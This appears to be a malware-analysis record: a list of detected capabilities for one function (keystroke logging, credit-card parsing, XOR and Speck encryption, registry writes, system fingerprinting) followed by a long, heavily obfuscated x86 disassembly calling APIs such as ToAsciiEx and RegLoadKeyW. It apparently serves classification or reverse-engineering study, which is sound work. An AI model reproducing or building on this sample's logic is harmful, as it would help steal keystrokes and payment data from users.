Function at 0x1003da0a
Capabilities:
Check os version
Create directory
Encode data using xor
Encrypt data using speck
Extract resource via kernel32 functions
Get disk information
Get system information on windows
Identify system language via api
Log keystrokes
Parse credit card information
Set registry value

Disassembly:
mov eax, 0x1006b689
call fcn.10069e18
sub esp, 0xb44
push ebx
push esi
push edi
mov dword [ebp - 0x4c], ecx
lea ecx, [ebp - 0x3d8]
mov dword [ebp - 0x1c], 0x9d29be1d
push 2
mov byte [ebp - 0x5d], dl
call fcn.1000ebc1
xor ebx, ebx
or edi, 0xffffffff
mov dword [ebp - 4], ebx
mov dword [ebp - 0x30], 0x42c78ef8
mov dword [ebp - 0x2c], edi
mov dword [ebp - 0x44], ebx
mov dword [ebp - 0x14], ebx
jmp 0x1003da64
mov ecx, dword [ebp - 0x14]
mov eax, dword [ebp - 0x3d8]
mov dword [eax + ecx*4], 0x446df37d
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 2
jl 0x1003da51
xor eax, eax
mov dword [ebp - 0x1c], 0x648261f
inc eax
mov esi, 0xffff
mov dword [ebp - 0x1c], eax
push 4
pop eax
cmp dword [ebp - 0x1c], ebx
jl 0x1003ddd4
jmp 0x1003da8d
push 4
pop eax
mov dword [ebp - 0x10], 0xfffffff6
lea ecx, [ebp - 0x1c8]
push eax
call fcn.1000ebc1
push 3
lea ecx, [ebp - 0x3cc]
mov byte [ebp - 4], 1
call fcn.1000ebc1
mov byte [ebp - 4], 2
push 4
mov dword [ebp - 0x2c], 0xde30ea3b
mov dword [ebp - 0x28], ebx
pop edx
jmp 0x1003dad3
mov ecx, dword [ebp - 0x28]
mov eax, dword [ebp - 0x1c8]
mov dword [eax + ecx*4], edi
inc dword [ebp - 0x28]
cmp dword [ebp - 0x28], edx
jl 0x1003dac4
mov dword [ebp - 0x28], ebx
jmp 0x1003daf0
mov ecx, dword [ebp - 0x28]
mov eax, dword [ebp - 0x3cc]
mov dword [eax + ecx*4], 0x2089ce37
inc dword [ebp - 0x28]
cmp dword [ebp - 0x28], 3
jl 0x1003dadd
mov eax, dword [ebp - 0x1c]
mov dword [ebp - 0x10], 0xb7d8
mov eax, dword [ebp - 0x10]
mov ecx, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x3d8]
cmp dword [eax + ecx*4], ebx
je 0x1003dca7
mov dword [ebp - 0x28], esi
lea ecx, [ebp - 0x5cc]
push 1
call fcn.1000ebc1
xor edx, edx
mov byte [ebp - 4], 3
mov dword [ebp - 0x14], ebx
inc edx
jmp 0x1003db44
mov ecx, dword [ebp - 0x14]
mov eax, dword [ebp - 0x5cc]
mov dword [eax + ecx*4], 0x50d5d742
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], edx
jl 0x1003db31
mov dword [ebp - 0x10], ebx
jmp 0x1003dc13
mov dword [ebp - 0x38], 0x145c
lea ecx, [ebp - 0x5b4]
mov dword [ebp - 0x2c], 0x90f3bd79
push 3
call fcn.1000ebc1
mov dword [ebp - 0x14], ebx
jmp 0x1003db84
mov ecx, dword [ebp - 0x14]
mov eax, dword [ebp - 0x5b4]
mov dword [eax + ecx*4], 0x9baaa4f6
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 3
jl 0x1003db71
mov ecx, dword [ebp - 0x28]
xor edx, edx
mov eax, dword [ebp - 0x30]
cmp ecx, eax
setl dl
cmp edx, edi
jge 0x1003dba4
cmp dword [ebp - 0x10], ebx
jne 0x1003dba4
mov edx, ebx
jmp 0x1003dba7
xor edx, edx
inc edx
mov ecx, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x3d8]
mov ecx, dword [eax + ecx*4]
mov eax, dword [ebp - 0x1c8]
mov dword [eax], ecx
xor ecx, ecx
mov eax, dword [ebp - 0x28]
cmp edx, eax
mov eax, dword [ebp - 0x1c8]
setl cl
add ecx, dword [eax]
mov dword [ebp - 0x2c], ecx
mov eax, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x30]
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp - 0x30]
mov edx, dword [ebp - 0x10]
dec edx
neg edx
sbb edx, edx
xor ecx, ecx
neg edx
sub edx, dword [ebp - 0x38]
imul edx, dword [ebp - 0x28]
mov eax, dword [ebp - 0x38]
cmp eax, edx
mov eax, dword [ebp - 0x5b4]
setl cl
mov dword [eax], ecx
lea ecx, [ebp - 0x5b4]
call fcn.1000f7cf
dec dword [ebp - 0x10]
cmp dword [ebp - 0x10], 0xffffffe6
jle 0x1003db51
mov ecx, dword [ebp - 0x28]
xor edx, edx
mov eax, dword [ebp - 0x5cc]
mov dword [eax], ecx
mov dword [ebp - 0x10], ecx
mov eax, dword [ebp - 0x28]
imul eax, dword [ebp - 0x1c]
neg eax
cmp eax, 0xfffffffb
setne dl
sub edx, dword [ebp - 0x30]
neg edx
sbb edx, edx
inc edx
sub edx, dword [ebp - 0x28]
mov eax, dword [ebp - 0x1c8]
neg edx
sbb edx, edx
xor ecx, ecx
inc edx
cmp edx, dword [eax]
mov eax, dword [ebp - 0x3cc]
setge cl
mov dword [eax + 8], ecx
mov dword [ebp - 0x2c], 0xdba09e39
mov eax, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp - 0x30]
neg eax
sbb eax, eax
neg eax
mov dword [ebp - 0x2c], eax
mov eax, dword [ebp - 0x1c8]
cmp dword [eax + 4], esi
mov eax, dword [ebp - 0x2c]
sbb edx, edx
xor ecx, ecx
inc edx
cmp edx, eax
setl cl
mov dword [ebp - 0x44], ecx
lea ecx, [ebp - 0x5cc]
call fcn.1000f7cf
jmp 0x1003ddb2
mov dword [ebp - 0x44], 0x1edf
cmp dword [ebp - 0x44], 0x1097
jge 0x1003dd86
lea eax, [ebp - 0xb4]
mov dword [ebp - 0xb4], ebx
push eax
push 0x10008184
call fcn.10050b5b
mov eax, dword [ebp - 0xb4]
xor ecx, ecx
push 4
pop edx
mul edx
mov esi, ebx
mov dword [ebp - 0x38], esi
seto cl
neg ecx
or ecx, eax
push ecx
call fcn.1004c21e
add esp, 0xc
mov dword [ebp - 0x2c], eax
cmp dword [ebp - 0xb4], 0
mov dword [ebp - 0x44], ebx
jle 0x1003dd74
push 4
mov edi, eax
pop esi
push edi
push 0x1000813c
call fcn.10050b5b
pop ecx
pop ecx
mov ecx, dword [ebp - 0xb4]
inc ebx
add edi, esi
cmp ebx, ecx
jl 0x1003dd08
mov esi, dword [ebp - 0x38]
push 0
pop ebx
test ecx, ecx
jle 0x1003dd71
mov ebx, dword [ebp - 0x2c]
xor edx, edx
inc edx
mov dword [ebp - 0x38], ebx
mov dword [ebp - 0x48], edx
mov dword [ebp - 0x20], ecx
mov eax, dword [ebx]
mov edi, edx
cmp eax, esi
cmovg esi, eax
cmp edx, ecx
jge 0x1003dd5e
mov edx, dword [ebp - 0x2c]
xor eax, dword [edx + edi*4]
cmp eax, esi
cmovg esi, eax
inc edi
cmp edi, ecx
jl 0x1003dd4b
mov edx, dword [ebp - 0x48]
mov ebx, dword [ebp - 0x38]
push 4
pop eax
add ebx, eax
inc edx
dec dword [ebp - 0x20]
mov dword [ebp - 0x38], ebx
mov dword [ebp - 0x48], edx
jne 0x1003dd3b
xor ebx, ebx
or edi, 0xffffffff
push esi
push 0x100081d0
call fcn.10050d76
pop ecx
pop ecx
mov esi, 0xffff
mov dword [ebp - 0x2c], 0xdfbf73ec
mov ecx, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x1c8]
add ecx, 0x391d
mov dword [eax], ecx
xor ecx, ecx
mov eax, dword [ebp - 0x2c]
cmp eax, 3
mov eax, dword [ebp - 0x3cc]
setge cl
mov dword [eax + 4], ecx
lea ecx, [ebp - 0x3cc]
call fcn.1000f7cf
lea ecx, [ebp - 0x1c8]
mov byte [ebp - 4], bl
call fcn.1000f7cf
dec dword [ebp - 0x1c]
jns 0x1003da8a
lea ecx, [ebp - 0x3d8]
mov dword [ebp - 4], edi
call fcn.1000f7cf
mov dword [ebp - 0x1c], 0x9d29be1d
lea ecx, [ebp - 0x3f0]
push 2
call fcn.1000ebc1
push 4
pop eax
mov dword [ebp - 4], eax
mov dword [ebp - 0x30], 0x42c78ef8
mov dword [ebp - 0x2c], edi
mov dword [ebp - 0x44], ebx
mov dword [ebp - 0x14], ebx
cmp dword [ebp - 0x14], 2
jge 0x1003de2e
mov ecx, dword [ebp - 0x14]
mov eax, dword [ebp - 0x3f0]
mov dword [eax + ecx*4], 0x446df37d
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 2
jl 0x1003de12
push 4
pop eax
mov dword [ebp - 0x1c], 0x648261f
mov dword [ebp - 0x1c], 1
mov dword [ebp - 0x50], 5
cmp dword [ebp - 0x1c], ebx
jl 0x1003e0bb
jmp 0x1003de51
push 4
pop eax
mov dword [ebp - 0x10], 0xfffffff6
lea ecx, [ebp - 0x1a4]
push eax
call fcn.1000ebc1
push 5
pop eax
push 3
lea ecx, [ebp - 0x408]
mov byte [ebp - 4], al
call fcn.1000ebc1
mov byte [ebp - 4], 6
push 4
mov dword [ebp - 0x2c], 0xde30ea3b
mov dword [ebp - 0x28], ebx
pop edx
jmp 0x1003de99
mov ecx, dword [ebp - 0x28]
mov eax, dword [ebp - 0x1a4]
mov dword [eax + ecx*4], edi
inc dword [ebp - 0x28]
cmp dword [ebp - 0x28], edx
jl 0x1003de8a
mov dword [ebp - 0x28], ebx
jmp 0x1003deb6
mov ecx, dword [ebp - 0x28]
mov eax, dword [ebp - 0x408]
mov dword [eax + ecx*4], 0x2089ce37
inc dword [ebp - 0x28]
cmp dword [ebp - 0x28], 3
jl 0x1003dea3
mov eax, dword [ebp - 0x1c]
mov dword [ebp - 0x10], 0xb7d8
mov eax, dword [ebp - 0x10]
mov ecx, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x3f0]
cmp dword [eax + ecx*4], ebx
je 0x1003e06a
mov dword [ebp - 0x28], esi
lea ecx, [ebp - 0x5e4]
push 1
call fcn.1000ebc1
xor edx, edx
mov byte [ebp - 4], 7
mov dword [ebp - 0x14], ebx
inc edx
jmp 0x1003df0a
mov ecx, dword [ebp - 0x14]
mov eax, dword [ebp - 0x5e4]
mov dword [eax + ecx*4], 0x50d5d742
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], edx
jl 0x1003def7
mov dword [ebp - 0x10], ebx
jmp 0x1003dfd9
mov dword [ebp - 0x38], 0x145c
lea ecx, [ebp - 0x638]
mov dword [ebp - 0x2c], 0x90f3bd79
push 3
call fcn.1000ebc1
mov dword [ebp - 0x14], ebx
jmp 0x1003df4a
mov ecx, dword [ebp - 0x14]
mov eax, dword [ebp - 0x638]
mov dword [eax + ecx*4], 0x9baaa4f6
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 3
jl 0x1003df37
mov ecx, dword [ebp - 0x28]
xor edx, edx
mov eax, dword [ebp - 0x30]
cmp ecx, eax
setl dl
cmp edx, edi
jge 0x1003df6a
cmp dword [ebp - 0x10], ebx
jne 0x1003df6a
mov edx, ebx
jmp 0x1003df6d
xor edx, edx
inc edx
mov ecx, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x3f0]
mov ecx, dword [eax + ecx*4]
mov eax, dword [ebp - 0x1a4]
mov dword [eax], ecx
xor ecx, ecx
mov eax, dword [ebp - 0x28]
cmp edx, eax
mov eax, dword [ebp - 0x1a4]
setl cl
add ecx, dword [eax]
mov dword [ebp - 0x2c], ecx
mov eax, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x30]
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp - 0x30]
mov edx, dword [ebp - 0x10]
dec edx
neg edx
sbb edx, edx
xor ecx, ecx
neg edx
sub edx, dword [ebp - 0x38]
imul edx, dword [ebp - 0x28]
mov eax, dword [ebp - 0x38]
cmp eax, edx
mov eax, dword [ebp - 0x638]
setl cl
mov dword [eax], ecx
lea ecx, [ebp - 0x638]
call fcn.1000f7cf
dec dword [ebp - 0x10]
cmp dword [ebp - 0x10], 0xffffffe6
jle 0x1003df17
mov ecx, dword [ebp - 0x28]
xor edx, edx
mov eax, dword [ebp - 0x5e4]
mov dword [eax], ecx
mov dword [ebp - 0x10], ecx
mov eax, dword [ebp - 0x28]
imul eax, dword [ebp - 0x1c]
neg eax
cmp eax, 0xfffffffb
setne dl
sub edx, dword [ebp - 0x30]
neg edx
sbb edx, edx
inc edx
sub edx, dword [ebp - 0x28]
mov eax, dword [ebp - 0x1a4]
neg edx
sbb edx, edx
xor ecx, ecx
inc edx
cmp edx, dword [eax]
mov eax, dword [ebp - 0x408]
setge cl
mov dword [eax + 8], ecx
mov dword [ebp - 0x2c], 0xdba09e39
mov eax, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp - 0x30]
neg eax
sbb eax, eax
neg eax
mov dword [ebp - 0x2c], eax
mov eax, dword [ebp - 0x1a4]
cmp dword [eax + 4], esi
mov eax, dword [ebp - 0x2c]
sbb edx, edx
xor ecx, ecx
inc edx
cmp edx, eax
setl cl
mov dword [ebp - 0x44], ecx
lea ecx, [ebp - 0x5e4]
call fcn.1000f7cf
jmp 0x1003e096
mov dword [ebp - 0x2c], 0xdfbf73ec
mov ecx, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x1a4]
add ecx, 0x391d
mov dword [eax], ecx
xor ecx, ecx
mov eax, dword [ebp - 0x2c]
cmp eax, 3
mov eax, dword [ebp - 0x408]
setge cl
mov dword [eax + 4], ecx
lea ecx, [ebp - 0x408]
call fcn.1000f7cf
push 4
pop eax
lea ecx, [ebp - 0x1a4]
mov byte [ebp - 4], al
call fcn.1000f7cf
dec dword [ebp - 0x1c]
jns 0x1003de4e
lea ecx, [ebp - 0x3f0]
mov dword [ebp - 4], edi
call fcn.1000f7cf
mov dword [ebp - 0x38], 0x38ecf54c
mov dword [ebp - 0x3c], 0x7b7e80d6
mov dword [ebp - 0x2c], 7
mov dword [ebp - 0x48], 0x9bdd7770
mov dword [ebp - 0x20], 0x261f
push 4
mov dword [ebp - 0x44], 0xc4df8e3b
mov dword [ebp - 0x14], ebx
pop ecx
jmp 0x1003e10c
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0xa18], 0x2dafbbd0
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], ecx
jl 0x1003e0fb
mov eax, dword [ebp - 0x38]
xor ecx, ecx
inc ecx
mov dword [ebp - 0x2c], ecx
mov eax, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x48]
mov dword [ebp - 0xa18], 0x5b29
mov eax, dword [ebp - 0x38]
mov eax, dword [ebp - 0x48]
mov eax, 0xfffa
cmp dword [ebp - 0x20], eax
jb 0x1003e141
mov eax, ebx
cmp dword [ebp - 0x20], ebx
je 0x1003e143
mov eax, ecx
cmp eax, 0xdcda7209
mov eax, dword [ebp - 0x38]
sbb edx, edx
neg edx
dec edx
neg edx
sbb edx, edx
xor ecx, ecx
neg edx
cmp eax, edx
setl cl
mov dword [ebp - 0x44], ecx
mov dword [ebp - 0x30], 0x42c70bb7
mov dword [ebp - 0x14], ebx
jmp 0x1003e17d
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x7c8], 0xfffffff6
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 3
jl 0x1003e16c
mov dword [ebp - 0x30], ebx
jmp 0x1003e1b6
mov dword [ebp - 0x14], 0xff55e00f
mov dword [ebp - 0x14], ebx
jmp 0x1003e1ad
mov eax, dword [ebp - 0x14]
cmp dword [ebp + eax*4 - 0x7c8], ebx
jne 0x1003e1b3
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp + eax*4 - 0x7c8]
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 2
jle 0x1003e194
inc dword [ebp - 0x30]
cmp dword [ebp - 0x30], 2
jle 0x1003e188
mov byte [ebp - 0x15], bl
cmp byte [ebp - 0x15], 0
je 0x1003e1e9
push 0x492
push ebx
push 0x1e77
push 0x1f2e
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_TextOutA]
mov dword [ebp - 0x14], 0x9d29be1d
lea ecx, [ebp - 0x3b4]
push 2
call fcn.1000ebc1
mov dword [ebp - 4], 8
mov dword [ebp - 0x1c], 1
mov dword [ebp - 0x14], 0xf3617394
mov dword [ebp - 0x2c], 0x89fa1839
mov dword [ebp - 0x48], edi
mov dword [ebp - 0x3c], 0x6abe
mov byte [ebp - 0x15], bl
cmp byte [ebp - 0x15], 0
je 0x1003e239
push ebx
push ebx
push 0x1feb
call dword [sym.imp.ADVAPI32.dll_CopySid]
mov eax, dword [ebp - 0x1c]
xor edx, edx
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x1c]
mov dword [ebp - 0x14], eax
mov ecx, dword [ebp - 0x14]
mov eax, dword [ebp - 0x1c]
cmp ecx, eax
setl dl
cmp edx, dword [ebp - 0x1c]
jg 0x1003e26c
mov dword [ebp - 0x44], 0xfffffff6
mov eax, dword [ebp - 0x1c]
mov dword [ebp - 0x44], eax
jmp 0x1003e4af
mov dword [ebp - 0x44], 0xc8cdab0b
mov dword [ebp - 0x698], ebx
mov dword [ebp - 0x694], ebx
mov dword [ebp - 0x690], ebx
mov dword [ebp - 0x68c], ebx
mov dword [ebp - 0x1c], ebx
cmp dword [ebp - 0x1c], 0x17
je 0x1003e4af
mov dword [ebp - 0x30], 0xfffffff9
mov dword [ebp - 0x14], 1
mov dword [ebp - 0x14], 0xfffffff6
cmp dword [ebp - 0x14], 0x1b
je 0x1003e49f
lea esi, [ebp - 0x908]
lea edi, [ebp - 0x8f8]
movdqa xmm0, xmmword [0x10008b20]
push ecx
push edi
push esi
lea ecx, [ebp - 0x264]
movdqu xmmword [ebp - 0x908], xmm0
call fcn.1003866d
push 3
mov byte [ebp - 4], 9
mov dword [ebp - 0x40], ebx
pop ecx
jmp 0x1003e2fa
mov eax, dword [ebp - 0x40]
mov dword [ebp + eax*4 - 0x1bc], ebx
inc dword [ebp - 0x40]
cmp dword [ebp - 0x40], ecx
jl 0x1003e2ed
cmp dword [ebp - 0x1c], ebx
je 0x1003e3d0
push 1
lea ecx, [ebp - 0x254]
call fcn.1000ebc1
xor edx, edx
mov dword [ebp - 0x40], ebx
inc edx
jmp 0x1003e330
mov ecx, dword [ebp - 0x40]
mov eax, dword [ebp - 0x254]
mov dword [eax + ecx*4], 0xfffffffd
inc dword [ebp - 0x40]
cmp dword [ebp - 0x40], edx
jl 0x1003e31d
mov eax, dword [ebp - 0x1bc]
mov edx, dword [ebp - 0x30]
mov eax, dword [ebp - 0x264]
neg edx
sbb edx, edx
xor ecx, ecx
neg edx
mov dword [eax], 1
cmp edx, 1
mov eax, dword [ebp - 0x1bc]
setle cl
xor edx, edx
cmp ecx, eax
mov eax, dword [ebp - 0x30]
setne dl
xor ecx, ecx
cmp edx, eax
setge cl
mov dword [ebp - 0x2c], ecx
mov eax, dword [ebp - 0x30]
mov eax, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x30]
mov ecx, dword [ebp - 0x30]
mov eax, dword [ebp - 0x254]
sub ecx, dword [eax]
mov eax, dword [ebp - 0x1c]
sub ecx, eax
sub ecx, dword [ebp - 0x14]
jne 0x1003e396
mov eax, dword [ebp - 0x1bc]
mov eax, dword [ebp - 0x254]
xor ecx, ecx
cmp dword [eax], ebx
mov eax, dword [ebp - 0x44]
sete cl
xor edx, edx
cmp ecx, eax
mov eax, dword [ebp - 0x254]
setne dl
xor ecx, ecx
cmp edx, dword [eax]
setle cl
mov dword [ebp - 0x1bc], ecx
lea ecx, [ebp - 0x254]
call fcn.1000f7cf
jmp 0x1003e472
xor edx, edx
inc edx
mov dword [ebp - 0x2c], edx
push 4
mov dword [ebp - 0x3c], 0x4457c1b2
pop eax
mov dword [ebp - 0x38], eax
mov dword [ebp - 0x40], ebx
cmp dword [ebp - 0x40], eax
jge 0x1003e401
push eax
pop ebx
mov eax, dword [ebp - 0x40]
mov dword [ebp + eax*4 - 0xa9c], ecx
inc dword [ebp - 0x40]
cmp dword [ebp - 0x40], ebx
jl 0x1003e3ed
xor ebx, ebx
cmp dword [ebp - 0x30], ebx
je 0x1003e450
cmp dword [ebp - 0x1b8], edx
je 0x1003e413
cmp dword [ebp - 0x30], ebx
jne 0x1003e415
mov edx, ebx
dec dword [ebp - 0x38]
xor ecx, ecx
mov eax, dword [ebp - 0x48]
cmp edx, eax
mov eax, dword [ebp - 0x264]
setle cl
xor edx, edx
cmp ecx, dword [eax + 0xc]
setl dl
cmp dword [ebp - 0x38], edx
jl 0x1003e444
cmp dword [ebp - 0x1b4], ebx
je 0x1003e444
xor edx, edx
inc edx
mov eax, edx
jmp 0x1003e449
xor edx, edx
mov eax, ebx
inc edx
mov ecx, edx
cmp dword [ebp - 0x2c], eax
jne 0x1003e452
mov ecx, ebx
mov eax, dword [ebp - 0x264]
sub ecx, dword [eax]
mov eax, dword [ebp - 0x1b8]
add eax, 0x4678700b
add eax, ecx
mov dword [ebp - 0x68c], eax
cmp dword [ebp - 0x48], ebx
jne 0x1003e490
lea ecx, [ebp - 0x264]
mov byte [ebp - 4], 8
call fcn.1000f7cf
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 0x1b
jne 0x1003e2c3
jmp 0x1003e49f
lea ecx, [ebp - 0x264]
mov byte [ebp - 4], 8
call fcn.1000f7cf
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], 0x17
jne 0x1003e298
or edi, 0xffffffff
mov dword [ebp - 0x24], 0x42c78ef8
mov dword [ebp - 0x2c], edi
mov dword [ebp - 0x14], 0x3fcb50bf
mov dword [ebp - 0x14], ebx
jmp 0x1003e4d6
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x9a0], 0xa8eac8b1
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 3
jl 0x1003e4c5
mov dword [ebp - 0x14], ebx
jmp 0x1003e501
mov byte [ebp - 0x15], bl
cmp byte [ebp - 0x15], 0
je 0x1003e4f2
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_CreateDirectoryW]
mov eax, dword [ebp - 0x14]
cmp dword [ebp + eax*4 - 0x9a0], ebx
jne 0x1003e507
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 2
jle 0x1003e4e1
mov ecx, dword [ebp - 0x14]
dec ecx
neg ecx
push 0xfffffffffffffffa
sbb ecx, ecx
xor eax, eax
neg ecx
pop esi
cmp ecx, esi
lea ecx, [ebp - 0x39c]
push 2
setge al
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x44], ebx
mov dword [ebp - 0x14], 0x31713b91
mov dword [ebp - 0x20], edi
call fcn.1000ebc1
mov dword [ebp - 0x44], edi
mov dword [ebp - 0x14], ebx
jmp 0x1003e553
mov ecx, dword [ebp - 0x14]
mov eax, dword [ebp - 0x39c]
mov dword [eax + ecx*4], 0x4b748abb
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 2
jl 0x1003e540
push 6
mov dword [ebp - 0x14], 0x14
pop edx
jmp 0x1003e615
mov dword [ebp - 0x30], 0x55059b8b
mov dword [ebp - 0x2c], 0x1aa84cbe
mov eax, dword [ebp - 0x14]
mov dword [ebp - 0x20], eax
mov eax, dword [ebp - 0x30]
neg eax
mov byte [ebp - 0x15], bl
je 0x1003e597
cmp byte [ebp - 0x15], 0
je 0x1003e5b8
push ebx
push ebx
push ebx
call dword [sym.imp.ADVAPI32.dll_RegLoadKeyW]
jmp 0x1003e5b5
cmp byte [ebp - 0x15], 0
je 0x1003e5b8
push ebx
push 0xc5a
push ebx
push ebx
push 0x1e50
push 0x2151
call dword [sym.imp.USER32.dll_ToAsciiEx]
push 6
pop edx
cmp dword [ebp - 0x14], ebx
je 0x1003e5ff
mov ecx, dword [ebp - 0x30]
mov eax, dword [ebp - 0x39c]
inc dword [eax]
dec ecx
neg ecx
sbb ecx, ecx
xor eax, eax
neg ecx
cmp ecx, 0x4cd0
setl al
mov dword [ebp - 0x20], eax
mov eax, dword [ebp - 0x30]
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp - 0x30]
mov eax, dword [ebp - 0x30]
mov dword [ebp - 0x2c], ebx
mov eax, dword [ebp - 0x2c]
sub eax, dword [ebp - 0x30]
cmp eax, 0xe1b1b552
je 0x1003e5ff
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp - 0x20]
xor ecx, ecx
mov eax, dword [ebp - 0x39c]
cmp dword [eax], ebx
setg cl
mov dword [ebp - 0x44], ecx
dec dword [ebp - 0x14]
cmp dword [ebp - 0x14], edx
jle 0x1003e568
lea ecx, [ebp - 0x39c]
call fcn.1000f7cf
push 2
mov dword [ebp - 0x14], ebx
pop edx
jmp 0x1003e644
mov ecx, dword [ebp - 0x14]
mov eax, dword [ebp - 0x3b4]
mov dword [eax + ecx*4], 0x446df37d
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], edx
jl 0x1003e631
mov dword [ebp - 0x14], 0xf94f378
mov dword [ebp - 0x30], esi
mov dword [ebp - 0x28], edi
mov dword [ebp - 0x38], 0xdc4b636
mov dword [ebp - 0x28], ebx
jmp 0x1003e673
mov eax, dword [ebp - 0x28]
mov dword [ebp + eax*4 - 0x15c], 0x2e0cf572
inc dword [ebp - 0x28]
cmp dword [ebp - 0x28], 3
jl 0x1003e662
mov dword [ebp - 0x28], ebx
jmp 0x1003e68b
mov eax, dword [ebp - 0x28]
mov dword [ebp + eax*4 - 0x728], ebx
inc dword [ebp - 0x28]
cmp dword [ebp - 0x28], edx
jl 0x1003e67e
mov dword [ebp - 0x14], ebx
mov esi, 0x3143
jmp 0x1003e869
mov dword [ebp - 0x10], 6
mov dword [ebp - 0x10], ebx
jmp 0x1003e849
mov dword [ebp - 0x1c], 8
mov dword [ebp - 0x1c], ebx
cmp dword [ebp - 0x1c], edx
jg 0x1003e729
mov esi, 0xaf8b5131
mov dword [ebp - 0x44], 0xfffffff7
mov eax, dword [ebp - 0x1c]
cmp dword [ebp + eax*4 - 0x15c], ebx
je 0x1003e704
mov eax, dword [ebp - 0x10]
mov ecx, dword [ebp + eax*4 - 0x15c]
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x15c], ecx
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x30]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x44]
mov eax, dword [ebp - 0x1c]
cmp dword [ebp + eax*4 - 0x15c], ebx
je 0x1003e704
xor edx, edx
inc edx
jmp 0x1003e706
mov edx, ebx
mov eax, dword [ebp - 0x30]
xor ecx, ecx
cmp edx, eax
push 2
setg cl
cmp esi, ecx
pop edx
sbb eax, eax
neg eax
mov dword [ebp - 0x28], eax
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], edx
jle 0x1003e6c0
mov esi, 0x3143
mov dword [ebp - 0x1c], ebx
cmp dword [ebp - 0x1c], edx
jg 0x1003e846
xor eax, eax
inc eax
mov dword [ebp - 0x38], eax
mov dword [ebp - 0x48], 0xdaf0
mov dword [ebp - 0x30], edx
cmp dword [ebp - 0x30], ebx
jl 0x1003e83a
mov dword [ebp - 0x2c], 0xe2e0
mov dword [ebp - 0x44], 0x6c20b133
mov dword [ebp - 0x28], edx
cmp dword [ebp - 0x28], ebx
jl 0x1003e831
push eax
lea ecx, [ebp - 0x4a0]
call fcn.1000ebc1
xor edx, edx
mov dword [ebp - 0x40], ebx
inc edx
jmp 0x1003e78f
mov ecx, dword [ebp - 0x40]
mov eax, dword [ebp - 0x4a0]
mov dword [eax + ecx*4], 0x4f9af392
inc dword [ebp - 0x40]
cmp dword [ebp - 0x40], edx
jl 0x1003e77c
mov eax, dword [ebp - 0x10]
xor edx, edx
mov eax, dword [ebp + eax*4 - 0x15c]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp + eax*4 - 0x15c]
mov eax, dword [ebp - 0x2c]
mov dword [ebp - 0x38], eax
mov eax, dword [ebp - 0x4a0]
mov dword [eax], esi
mov dword [ebp - 0x38], esi
mov ecx, dword [ebp - 0x38]
mov eax, dword [ebp - 0x14]
sub ecx, 0xae26
cmp ecx, eax
mov eax, dword [ebp - 0x10]
setl dl
xor ebx, ebx
cmp eax, edx
mov eax, dword [ebp - 0x10]
setle bl
xor ecx, ecx
cmp ebx, eax
mov eax, 0xb9bec7a4
setle cl
cmp eax, ecx
sbb eax, eax
xor ecx, ecx
inc eax
sub eax, dword [ebp - 0x2c]
inc eax
test eax, eax
setg cl
xor ebx, ebx
add ecx, dword [ebp - 0x10]
imul ecx, dword [ebp - 0x48]
test ecx, ecx
je 0x1003e80c
cmp dword [ebp - 0x38], ebx
je 0x1003e80c
xor ecx, ecx
inc ecx
jmp 0x1003e80e
mov ecx, ebx
mov eax, dword [ebp - 0x48]
imul eax, ecx
lea ecx, [ebp - 0x4a0]
mov dword [ebp - 0x44], eax
call fcn.1000f7cf
dec dword [ebp - 0x28]
push 1
pop eax
jns 0x1003e768
push 2
pop edx
dec dword [ebp - 0x30]
jns 0x1003e74e
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], edx
jle 0x1003e738
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], edx
jle 0x1003e6ac
mov eax, dword [ebp - 0x14]
mov ecx, dword [ebp + eax*4 - 0x15c]
mov eax, dword [ebp - 0x14]
